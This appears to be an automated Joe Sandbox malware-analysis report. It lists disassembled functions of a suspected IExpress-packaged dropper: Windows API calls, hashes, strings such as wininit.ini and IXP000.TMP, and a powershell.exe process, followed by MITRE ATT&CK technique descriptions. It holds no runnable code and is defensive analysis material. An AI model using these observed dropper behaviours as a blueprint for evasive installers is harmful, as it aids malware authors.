Source File: 00000004.00000002.1290331068.00007FF7E6E81000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF7E6E80000, based on PE: true

Associated: 00000004.00000002.1290301886.00007FF7E6E80000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1290391474.00007FF7E6E89000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1290448833.00007FF7E6E8C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1290473952.00007FF7E6E8E000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff7e6e80000_GdGXG0bnxH.jbxd

Similarity

API ID: Resource$Free$Local$FindLoad$AllocDialogErrorIndirectLastLockMessageParamSizeofStringlstrcmpmemcpy_s
String ID: <None>$LICENSE
API String ID: 2414642746-383193767
Opcode ID: 500bea89e5f40005163dcf95b2e3e849d331b5811c5609ba5abe631ca88a2bf8
Instruction ID: 1a810980676f452584e6e615e814173fb8989ec3022e8e41316d60685ce93524
Opcode Fuzzy Hash: 500bea89e5f40005163dcf95b2e3e849d331b5811c5609ba5abe631ca88a2bf8
Instruction Fuzzy Hash: 40314D71A3878286E710AB60EC1577BB6A1FB94B45FD84136D58E0E6D0EF7DA0048622

Function 00007FF7E6E8772C Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 69COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF7E6E8114C: _vsnprintf.MSVCRT ref: 00007FF7E6E81189

LoadResource.KERNEL32(?,?,?,?,?,?,?,?,00000000,00007FF7E6E8606F), ref: 00007FF7E6E87763
LockResource.KERNEL32(?,?,?,?,?,?,?,?,00000000,00007FF7E6E8606F), ref: 00007FF7E6E87772
FreeResource.KERNEL32(?,?,?,?,?,?,?,?,00000000,00007FF7E6E8606F), ref: 00007FF7E6E877B8
FindResourceA.KERNEL32(?,?,?,?,?,?,?,?,00000000,00007FF7E6E8606F), ref: 00007FF7E6E877EC
FreeResource.KERNEL32(?,?,?,?,?,?,?,?,00000000,00007FF7E6E8606F), ref: 00007FF7E6E87805

Strings

UPDFILE%lu, xrefs: 00007FF7E6E877C9

Memory Dump Source

Source File: 00000004.00000002.1290331068.00007FF7E6E81000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF7E6E80000, based on PE: true

Associated: 00000004.00000002.1290301886.00007FF7E6E80000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1290391474.00007FF7E6E89000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1290448833.00007FF7E6E8C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1290473952.00007FF7E6E8E000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff7e6e80000_GdGXG0bnxH.jbxd

Similarity

API ID: Resource$Free$FindLoadLock_vsnprintf
String ID: UPDFILE%lu
API String ID: 2922116661-2329316264
Opcode ID: 5da28ac000a46b9a165e15456f701c43c89cc60981a221babc32eae9389c35de
Instruction ID: a5082b63688c033300ce2b55d7a2384fc418f26455a3f78dd23b109c2b0c1e61
Opcode Fuzzy Hash: 5da28ac000a46b9a165e15456f701c43c89cc60981a221babc32eae9389c35de
Instruction Fuzzy Hash: 85317731A187C1C6EB10AB15A80127AFB91FB89F50F998536DA9E0B7D4CF3CD445C711

Function 00007FF7E6E85050 Relevance: 10.6, APIs: 7, Instructions: 57COMMON

Download Yara Rule

APIs

FindResourceA.KERNEL32(?,?,00000000,00007FF7E6E82E43), ref: 00007FF7E6E85078
SizeofResource.KERNEL32(?,?,00000000,00007FF7E6E82E43), ref: 00007FF7E6E85089
FindResourceA.KERNEL32(?,?,00000000,00007FF7E6E82E43), ref: 00007FF7E6E850AF
LoadResource.KERNEL32(?,?,00000000,00007FF7E6E82E43), ref: 00007FF7E6E850C0
LockResource.KERNEL32(?,?,00000000,00007FF7E6E82E43), ref: 00007FF7E6E850CF
memcpy_s.MSVCRT ref: 00007FF7E6E850EE
FreeResource.KERNEL32(?,?,00000000,00007FF7E6E82E43), ref: 00007FF7E6E850FD

Memory Dump Source

Source File: 00000004.00000002.1290331068.00007FF7E6E81000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF7E6E80000, based on PE: true

Associated: 00000004.00000002.1290301886.00007FF7E6E80000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1290391474.00007FF7E6E89000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1290448833.00007FF7E6E8C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1290473952.00007FF7E6E8E000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff7e6e80000_GdGXG0bnxH.jbxd

Similarity

API ID: Resource$Find$FreeLoadLockSizeofmemcpy_s
String ID:
API String ID: 3370778649-0
Opcode ID: 354dd0a735b34388ad5f877ea76a86da7b7875453ded65a43a8ee6639794adbd
Instruction ID: 912f0c9019f3b33f11a0646be938920ef32431b3e95c103b6e421e1635f3f8e2
Opcode Fuzzy Hash: 354dd0a735b34388ad5f877ea76a86da7b7875453ded65a43a8ee6639794adbd
Instruction Fuzzy Hash: D3116A21B18B8187EB446F66B80427AFAA0FB4EFC0B889039DD8E4B795DF3CD4448611

Function 00007FF7E6E82244 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48COMMON

Download Yara Rule

APIs

GetWindowsDirectoryA.KERNEL32 ref: 00007FF7E6E82271
WritePrivateProfileStringA.KERNEL32 ref: 00007FF7E6E822A0
_lopen.KERNEL32 ref: 00007FF7E6E822B4
_llseek.KERNEL32 ref: 00007FF7E6E822CF
_lclose.KERNEL32 ref: 00007FF7E6E822DF

Strings

wininit.ini, xrefs: 00007FF7E6E82281

Memory Dump Source

Source File: 00000004.00000002.1290331068.00007FF7E6E81000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF7E6E80000, based on PE: true

Associated: 00000004.00000002.1290301886.00007FF7E6E80000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1290391474.00007FF7E6E89000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1290448833.00007FF7E6E8C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1290473952.00007FF7E6E8E000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff7e6e80000_GdGXG0bnxH.jbxd

Similarity

API ID: DirectoryPrivateProfileStringWindowsWrite_lclose_llseek_lopen
String ID: wininit.ini
API String ID: 3273605193-4206010578
Opcode ID: 199b65378ca9828830684770953ab38004a5dc8256a53cff6ace6da1301a0c22
Instruction ID: 7faf09f53a9ff1c072a5a9567fc21c96811ee855e6d1672d22708ab79e03067f
Opcode Fuzzy Hash: 199b65378ca9828830684770953ab38004a5dc8256a53cff6ace6da1301a0c22
Instruction Fuzzy Hash: 2D113332A14A8187D710AB25EC543AAB7A1FBCDB14FC98132DA8E47694DF3CD509C610

Function 00007FF7E6E83840 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 45COMMON

Download Yara Rule

APIs

GetDesktopWindow.USER32 ref: 00007FF7E6E8388E
SetWindowTextA.USER32 ref: 00007FF7E6E838AF
SetDlgItemTextA.USER32 ref: 00007FF7E6E838CA
SetForegroundWindow.USER32 ref: 00007FF7E6E838D9
EndDialog.USER32 ref: 00007FF7E6E838EC

Strings

Adv, xrefs: 00007FF7E6E838A5

Memory Dump Source

Source File: 00000004.00000002.1290331068.00007FF7E6E81000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF7E6E80000, based on PE: true

Associated: 00000004.00000002.1290301886.00007FF7E6E80000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1290391474.00007FF7E6E89000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1290448833.00007FF7E6E8C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1290473952.00007FF7E6E8E000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff7e6e80000_GdGXG0bnxH.jbxd

Similarity

API ID: Window$Text$DesktopDialogForegroundItem
String ID: Adv
API String ID: 761066910-921584719
Opcode ID: db38f3c764be4f10092f313c704ee52b3d278942d11ca53377af995edae986b7
Instruction ID: 77057a87b52ba5b8e3ae53fbf68f827b2b21afc9d43f464064f66789caf498f5
Opcode Fuzzy Hash: db38f3c764be4f10092f313c704ee52b3d278942d11ca53377af995edae986b7
Instruction Fuzzy Hash: 9D111F64D287C286F6543B95EC0837AEA51FB5AF41FCC9132C88E5A7D4DE3CA4448622

Function 00007FF7E6E8494C Relevance: 9.1, APIs: 3, Strings: 3, Instructions: 55memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF7E6E85050: FindResourceA.KERNEL32(?,?,00000000,00007FF7E6E82E43), ref: 00007FF7E6E85078
Part of subcall function 00007FF7E6E85050: SizeofResource.KERNEL32(?,?,00000000,00007FF7E6E82E43), ref: 00007FF7E6E85089
Part of subcall function 00007FF7E6E85050: FindResourceA.KERNEL32(?,?,00000000,00007FF7E6E82E43), ref: 00007FF7E6E850AF
Part of subcall function 00007FF7E6E85050: LoadResource.KERNEL32(?,?,00000000,00007FF7E6E82E43), ref: 00007FF7E6E850C0
Part of subcall function 00007FF7E6E85050: LockResource.KERNEL32(?,?,00000000,00007FF7E6E82E43), ref: 00007FF7E6E850CF
Part of subcall function 00007FF7E6E85050: memcpy_s.MSVCRT ref: 00007FF7E6E850EE
Part of subcall function 00007FF7E6E85050: FreeResource.KERNEL32(?,?,00000000,00007FF7E6E82E43), ref: 00007FF7E6E850FD

LocalAlloc.KERNEL32(?,?,?,?,00000000,00007FF7E6E83388), ref: 00007FF7E6E84975
LocalFree.KERNEL32(?,?,?,?,00000000,00007FF7E6E83388), ref: 00007FF7E6E84A11

Part of subcall function 00007FF7E6E84DCC: LoadStringA.USER32 ref: 00007FF7E6E84E60
Part of subcall function 00007FF7E6E84DCC: MessageBoxA.USER32 ref: 00007FF7E6E84EA0

Strings

@, xrefs: 00007FF7E6E849F7
FINISHMSG, xrefs: 00007FF7E6E84959, 00007FF7E6E849AC
<None>, xrefs: 00007FF7E6E849D5

Memory Dump Source

Source File: 00000004.00000002.1290331068.00007FF7E6E81000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF7E6E80000, based on PE: true

Associated: 00000004.00000002.1290301886.00007FF7E6E80000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1290391474.00007FF7E6E89000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1290448833.00007FF7E6E8C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1290473952.00007FF7E6E8E000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff7e6e80000_GdGXG0bnxH.jbxd

Similarity

API ID: Resource$FindFreeLoadLocal$AllocLockMessageSizeofStringmemcpy_s
String ID: <None>$@$FINISHMSG
API String ID: 3507850446-4126004490
Opcode ID: aedc0cb394021a63a9408eb451deeea95bc994a5d044e743d2e3e1f25989d2fa
Instruction ID: 54521182c9d5110f4fdc4fd074c55d517feb2b12484ad70945bbf0890b56ae57
Opcode Fuzzy Hash: aedc0cb394021a63a9408eb451deeea95bc994a5d044e743d2e3e1f25989d2fa
Instruction Fuzzy Hash: C1119272A28382C7F720AB24E81077BF690FB85B54F889136DA8E4A7C5DF3CD0048B15

Function 00007FF7E6E879F0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 48libraryCOMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32 ref: 00007FF7E6E87A68
LoadLibraryExA.KERNEL32 ref: 00007FF7E6E87A88
LoadLibraryA.KERNEL32 ref: 00007FF7E6E87A9D

Strings

C:\Users\user~1\AppData\Local\Temp\IXP000.TMP\, xrefs: 00007FF7E6E87A0E
advpack.dll, xrefs: 00007FF7E6E87A4B, 00007FF7E6E87A96

Memory Dump Source

Source File: 00000004.00000002.1290331068.00007FF7E6E81000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF7E6E80000, based on PE: true

Associated: 00000004.00000002.1290301886.00007FF7E6E80000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1290391474.00007FF7E6E89000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1290448833.00007FF7E6E8C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1290473952.00007FF7E6E8E000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff7e6e80000_GdGXG0bnxH.jbxd

Similarity

API ID: LibraryLoad$AttributesFile
String ID: C:\Users\user~1\AppData\Local\Temp\IXP000.TMP\$advpack.dll
API String ID: 438848745-726598030
Opcode ID: 9f0cd13c1bb279af47be13cee5dd35000d2da7fbef8f0ef7de7ad0cc9ac3dbe3
Instruction ID: 9ab2452c5e4232f2167eb21e7eb301d8e928a1143b7e5edff3e9556ff84574ce
Opcode Fuzzy Hash: 9f0cd13c1bb279af47be13cee5dd35000d2da7fbef8f0ef7de7ad0cc9ac3dbe3
Instruction Fuzzy Hash: B0115E31A296C685EE21AB14E8413FAB7A0FB89F04FC80272C5DD0A6D1DF3DD60AC711

Function 00007FF7E6E81500 Relevance: 7.6, APIs: 5, Instructions: 50windowCOMMON

Download Yara Rule

APIs

EndDialog.USER32 ref: 00007FF7E6E81545
GetDesktopWindow.USER32 ref: 00007FF7E6E81557
LoadStringA.USER32 ref: 00007FF7E6E81587
SetDlgItemTextA.USER32 ref: 00007FF7E6E815A0
MessageBeep.USER32 ref: 00007FF7E6E815AF

Memory Dump Source

Source File: 00000004.00000002.1290331068.00007FF7E6E81000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF7E6E80000, based on PE: true

Associated: 00000004.00000002.1290301886.00007FF7E6E80000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1290391474.00007FF7E6E89000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1290448833.00007FF7E6E8C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1290473952.00007FF7E6E8E000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff7e6e80000_GdGXG0bnxH.jbxd

Similarity

API ID: BeepDesktopDialogItemLoadMessageStringTextWindow
String ID:
API String ID: 1273765764-0
Opcode ID: d24c32f5bf32a5b72a732329d1a2a01ce98f5d85b6cb7ead8bb70bc12569425c
Instruction ID: e8c5831a7ee5fe75c1baa9f8ed2dfbb7ee9c16109b1170992d342e4c606dde37
Opcode Fuzzy Hash: d24c32f5bf32a5b72a732329d1a2a01ce98f5d85b6cb7ead8bb70bc12569425c
Instruction Fuzzy Hash: 0F116371E28BC686EA506B54B8083BAE760FB89F55F884232C99E0A7D5CF3CD0458761

Function 00007FF7E6E83BF4 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 236windowCOMMON

Download Yara Rule

APIs

GetVersionExA.KERNEL32 ref: 00007FF7E6E83C3F
MessageBeep.USER32 ref: 00007FF7E6E83EB9

Part of subcall function 00007FF7E6E87F04: GetVersionExA.KERNEL32 ref: 00007FF7E6E87F59
Part of subcall function 00007FF7E6E87F04: GetSystemMetrics.USER32 ref: 00007FF7E6E87F93
Part of subcall function 00007FF7E6E87F04: RegOpenKeyExA.ADVAPI32 ref: 00007FF7E6E87FC8
Part of subcall function 00007FF7E6E87F04: RegQueryValueExA.ADVAPI32 ref: 00007FF7E6E88003
Part of subcall function 00007FF7E6E87F04: RegCloseKey.ADVAPI32 ref: 00007FF7E6E88016
Part of subcall function 00007FF7E6E87F04: CharNextA.USER32 ref: 00007FF7E6E88065

MessageBoxA.USER32 ref: 00007FF7E6E83EF3

Part of subcall function 00007FF7E6E87E34: EnumResourceLanguagesA.KERNEL32 ref: 00007FF7E6E87E8C
Part of subcall function 00007FF7E6E87E34: EnumResourceLanguagesA.KERNEL32 ref: 00007FF7E6E87ECA

Strings

Adv, xrefs: 00007FF7E6E83EE4, 00007FF7E6E83F24

Memory Dump Source

Source File: 00000004.00000002.1290331068.00007FF7E6E81000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF7E6E80000, based on PE: true

Associated: 00000004.00000002.1290301886.00007FF7E6E80000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1290391474.00007FF7E6E89000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1290448833.00007FF7E6E8C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1290473952.00007FF7E6E8E000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff7e6e80000_GdGXG0bnxH.jbxd

Similarity

API ID: EnumLanguagesMessageResourceVersion$BeepCharCloseMetricsNextOpenQuerySystemValue
String ID: Adv
API String ID: 2312377310-921584719
Opcode ID: 6925faca6a2cd81837304f5f4f2fd7570e59ff5b7a5509a8ec541a78deb6dc36
Instruction ID: 6aed14fc4e8649de80867d62084f698e5fc62102748f2030b41bcd7e96c3f79c
Opcode Fuzzy Hash: 6925faca6a2cd81837304f5f4f2fd7570e59ff5b7a5509a8ec541a78deb6dc36
Instruction Fuzzy Hash: C6A1A632E392C286F760AB519C4437BF664BB64F50F990037E98D4B2D1DA3CE8458B62

Function 00007FF7E6E878B0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 76fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32 ref: 00007FF7E6E8795B
WriteFile.KERNEL32 ref: 00007FF7E6E87992
CloseHandle.KERNEL32 ref: 00007FF7E6E879B7

Strings

C:\Users\user~1\AppData\Local\Temp\IXP000.TMP\, xrefs: 00007FF7E6E878E2

Memory Dump Source

Source File: 00000004.00000002.1290331068.00007FF7E6E81000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF7E6E80000, based on PE: true

Associated: 00000004.00000002.1290301886.00007FF7E6E80000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1290391474.00007FF7E6E89000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1290448833.00007FF7E6E8C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1290473952.00007FF7E6E8E000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff7e6e80000_GdGXG0bnxH.jbxd

Similarity

API ID: File$CloseCreateHandleWrite
String ID: C:\Users\user~1\AppData\Local\Temp\IXP000.TMP\
API String ID: 1065093856-1955631000
Opcode ID: 0f65b1997a9f98f28a06f8ce24cdc0a961af7feeb94d9fcacdfae0386ba340ac
Instruction ID: b4a00fa44196c8eb9ee0512161097b4d66458a195fb2d3bd48c589c47967d134
Opcode Fuzzy Hash: 0f65b1997a9f98f28a06f8ce24cdc0a961af7feeb94d9fcacdfae0386ba340ac
Instruction Fuzzy Hash: F83163726286C186EB119F10E8457AAFB60FB89BA4F884236DADD4B7D4CF7CD404C721

Function 00007FF7E6E85C60 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 69COMMON

Download Yara Rule

APIs

#20.CABINET ref: 00007FF7E6E85CD9
#21.CABINET ref: 00007FF7E6E85D18
#23.CABINET ref: 00007FF7E6E85D52

Strings

*MEMCAB, xrefs: 00007FF7E6E85CF2

Memory Dump Source

Source File: 00000004.00000002.1290331068.00007FF7E6E81000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF7E6E80000, based on PE: true

Associated: 00000004.00000002.1290301886.00007FF7E6E80000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1290391474.00007FF7E6E89000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1290448833.00007FF7E6E8C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1290473952.00007FF7E6E8E000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff7e6e80000_GdGXG0bnxH.jbxd

Similarity

API ID:
String ID: *MEMCAB
API String ID: 0-3211172518
Opcode ID: 84e3e731c747766a29489c21773a7ead2eab1f416db6fdf01ae2d5964e993175
Instruction ID: d06406aede54dc933e1b0eb331425aa6a1c52d70f5b6339bde93af309cefa9ee
Opcode Fuzzy Hash: 84e3e731c747766a29489c21773a7ead2eab1f416db6fdf01ae2d5964e993175
Instruction Fuzzy Hash: BD313C31A28B8185EA90AB11E8483BBB3E1FB44F50FD94237D99D4A2D1EF3CD445CB52

Function 00007FF7E6E88470 Relevance: 6.1, APIs: 4, Instructions: 73COMMON

Download Yara Rule

APIs

RtlCaptureContext.KERNEL32 ref: 00007FF7E6E884E3
RtlLookupFunctionEntry.KERNEL32 ref: 00007FF7E6E88502
RtlVirtualUnwind.KERNEL32 ref: 00007FF7E6E8854F
__raise_securityfailure.LIBCMT ref: 00007FF7E6E88634

Memory Dump Source

Source File: 00000004.00000002.1290331068.00007FF7E6E81000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF7E6E80000, based on PE: true

Associated: 00000004.00000002.1290301886.00007FF7E6E80000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1290391474.00007FF7E6E89000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1290448833.00007FF7E6E8C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1290473952.00007FF7E6E8E000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff7e6e80000_GdGXG0bnxH.jbxd

Similarity

API ID: CaptureContextEntryFunctionLookupUnwindVirtual__raise_securityfailure
String ID:
API String ID: 140117192-0
Opcode ID: 2331a3b639adea238e9a50b849fe14964fd45a281eaa4897dacf7bdda2e71fe4
Instruction ID: 75d9d4b197f3664e5b461eeda3edb1d7d0a602988865577e80ffbe251670021a
Opcode Fuzzy Hash: 2331a3b639adea238e9a50b849fe14964fd45a281eaa4897dacf7bdda2e71fe4
Instruction Fuzzy Hash: 1241F835A28F8181EA10AB18FC81366A364FB89F94F980137D9CD4B7A4DF3CD445C721

Function 00007FF7E6E87C40 Relevance: 6.0, APIs: 4, Instructions: 46COMMON

Download Yara Rule

APIs

CharPrevA.USER32(?,?,00000000,00007FF7E6E82B25), ref: 00007FF7E6E87C64
CharPrevA.USER32(?,?,00000000,00007FF7E6E82B25), ref: 00007FF7E6E87C80
CharPrevA.USER32(?,?,00000000,00007FF7E6E82B25), ref: 00007FF7E6E87CA4
CharNextA.USER32(?,?,00000000,00007FF7E6E82B25), ref: 00007FF7E6E87CB8

Memory Dump Source

Source File: 00000004.00000002.1290331068.00007FF7E6E81000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF7E6E80000, based on PE: true

Associated: 00000004.00000002.1290301886.00007FF7E6E80000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1290391474.00007FF7E6E89000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1290448833.00007FF7E6E8C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1290473952.00007FF7E6E8E000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff7e6e80000_GdGXG0bnxH.jbxd

Similarity

API ID: Char$Prev$Next
String ID:
API String ID: 3260447230-0
Opcode ID: 707050412bb26cc287988f04cda4ab0ae1f580e9279edb24177e5c3a1430149b
Instruction ID: 22b35d18be49a49cb5c382ff5bd9aa818200831d97d200382697251367a35c79
Opcode Fuzzy Hash: 707050412bb26cc287988f04cda4ab0ae1f580e9279edb24177e5c3a1430149b
Instruction Fuzzy Hash: 31118262E186C185EB515B15A90037AEE91B74EFE1F8D8231DA9A0B7C5CE3C98408722

Function 00007FF7E6E88648 Relevance: 6.0, APIs: 4, Instructions: 44COMMON

Download Yara Rule

APIs

RtlCaptureContext.KERNEL32 ref: 00007FF7E6E88653
RtlLookupFunctionEntry.KERNEL32 ref: 00007FF7E6E88672
RtlVirtualUnwind.KERNEL32 ref: 00007FF7E6E886BF
__raise_securityfailure.LIBCMT ref: 00007FF7E6E88735

Memory Dump Source

Source File: 00000004.00000002.1290331068.00007FF7E6E81000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF7E6E80000, based on PE: true

Associated: 00000004.00000002.1290301886.00007FF7E6E80000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1290391474.00007FF7E6E89000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1290448833.00007FF7E6E8C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1290473952.00007FF7E6E8E000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff7e6e80000_GdGXG0bnxH.jbxd

Similarity

API ID: CaptureContextEntryFunctionLookupUnwindVirtual__raise_securityfailure
String ID:
API String ID: 140117192-0
Opcode ID: f2b1ddacced677a847f8148696c66bf38e9a023ccacb3690f052d0a45ab1694c
Instruction ID: b4f655cc5a888ae784f6f53601711df227f1847588b1973735fe2d6960860008
Opcode Fuzzy Hash: f2b1ddacced677a847f8148696c66bf38e9a023ccacb3690f052d0a45ab1694c
Instruction Fuzzy Hash: 2721D235928F8181E610AB48FC8536AB3A4FB8AF54F940036DA8D4BBA4DF3CD445C762

Function 00007FF7E6E83B40 Relevance: 6.0, APIs: 4, Instructions: 43windowCOMMON

Download Yara Rule

APIs

MsgWaitForMultipleObjects.USER32(?,?,?,?,?,?,?,?,?,00000001,00007FF7E6E83A09), ref: 00007FF7E6E83B64
PeekMessageA.USER32 ref: 00007FF7E6E83B89
DispatchMessageA.USER32(?,?,?,?,?,?,?,?,?,?,?,?,00000001,00007FF7E6E83A09), ref: 00007FF7E6E83BAC
PeekMessageA.USER32 ref: 00007FF7E6E83BCD

Memory Dump Source

Source File: 00000004.00000002.1290331068.00007FF7E6E81000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF7E6E80000, based on PE: true

Associated: 00000004.00000002.1290301886.00007FF7E6E80000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1290391474.00007FF7E6E89000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1290448833.00007FF7E6E8C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1290473952.00007FF7E6E8E000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff7e6e80000_GdGXG0bnxH.jbxd

Similarity

API ID: Message$Peek$DispatchMultipleObjectsWait
String ID:
API String ID: 2776232527-0
Opcode ID: 7c1b033473dba301dd4ecd47eb6d04f722b5b1254afffa929906cb3dfbdd32c6
Instruction ID: ee203fa430673b151c158903ab8536e159a1fff382111c01afdc2646a1e8baba
Opcode Fuzzy Hash: 7c1b033473dba301dd4ecd47eb6d04f722b5b1254afffa929906cb3dfbdd32c6
Instruction Fuzzy Hash: 1411AB72A28AC287E7606F64E844B77FA90FB95B45FC49132D68A469C4DF3CD448CB11

Analysis Process: powershell.exePID: 7412, Parent PID: 7360COMMON

Executed Functions

Function 00007FFAAC4437B5 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.1892400896.00007FFAAC440000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC440000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ffaac440000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 582908582f657131c1f04ed76f34d09c60f6b2c2f8b724a61ceffa3ac25bcdd6
Instruction ID: 39c2d45f030bbd8e0f6522fcde3179c4b25a012a28dbc5aa610eb032179fb1be
Opcode Fuzzy Hash: 582908582f657131c1f04ed76f34d09c60f6b2c2f8b724a61ceffa3ac25bcdd6
Instruction Fuzzy Hash: 9501677111CB0D8FD744EF0CE451AA6B7E0FB95364F10056DE58AC3665D636E882CB45

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

